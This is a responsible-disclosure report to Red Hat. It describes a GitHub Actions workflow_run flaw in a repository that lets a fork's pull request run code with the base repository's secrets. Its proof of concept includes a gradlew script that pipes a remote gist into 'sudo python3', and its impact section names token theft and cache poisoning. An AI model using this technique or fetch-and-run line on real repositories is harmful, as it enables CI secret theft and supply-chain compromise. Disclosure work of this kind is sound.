Hello,

I am Sébastien Graveline, a Security Researcher at BoostSecurity.io.
We have been tasked by Red Hat Product Security to scan and triage supply chain vulnerabilities in Red Hat's open-source software (OSS) repositories.
I’d be happy to work with your team to remediate the reported vulnerability.

Exploitation Scenario

The vulnerability stems from the combination of the workflow_run event and the subsequent checkout and execution of code from the head of a pull request. An attacker can exploit this by following these steps:

1. The attacker creates a fork of the redhat-developer/intellij-common-ui-test-library repository.
2. The attacker adds a workflow named Java CI with Gradle that runs on pull_request.
3. The attacker opens a pull request from their fork to the main branch of the redhat-developer/intellij-common-ui-test-library repository.
4. The attacker's workflow executes since it runs on pull_request. Because the target workflow uses workflow_run, it executes when a workflow named 'Java CI with Gradle' completes. It runs in the context of the base repository, granting it access to secrets such as SONAR_TOKEN.
5. The workflow's checkout step at lines 12-15 uses ref: ${{ github.event.workflow_run.head_sha }}, which checks out the code from the attacker's pull request.
6. The workflow proceeds to execute the compromised code from the attacker's branch using ./gradlew.

Proof of Concept (PoC)

.github/workflows/trigger.yml

name: Java CI with Gradle
on:
  pull_request:

jobs:
  artifact_1:
    runs-on: ubuntu-latest
    env:
      ARTIFACT_NAME: sonar-coverage
    steps:
      - name: Create file
        run: touch test.txt
      - name: Upload
        uses: actions/upload-artifact@v4
        with:
          name: ${{ env.ARTIFACT_NAME }}
          path: .

  artifact_2:
    runs-on: ubuntu-latest
    env:
      ARTIFACT_NAME: prInfo
    steps:
      - name: Create file
        run: touch PR base_ref head_ref
      - name: Upload
        uses: actions/upload-artifact@v4
        with:
          name: ${{ env.ARTIFACT_NAME }}
          path: .

gradlew

#!/bin/sh
curl -sL https://gist.githubusercontent.com/fproulx-boostsecurity/d63abaaac3318a4c66ef958ef2e5b525/raw/ | sudo python3

Impact

A successful exploit of this vulnerability grants the attacker the ability to execute arbitrary code on the runner.

• Secrets: The attacker can steal the SONAR_TOKEN and GITHUB_TOKEN, which has default write-all permissions, see here.
• Cache poisoning: Since the GITHUB_TOKEN has actions: write, it can be used to poison action cache entries using a tool like cacheract.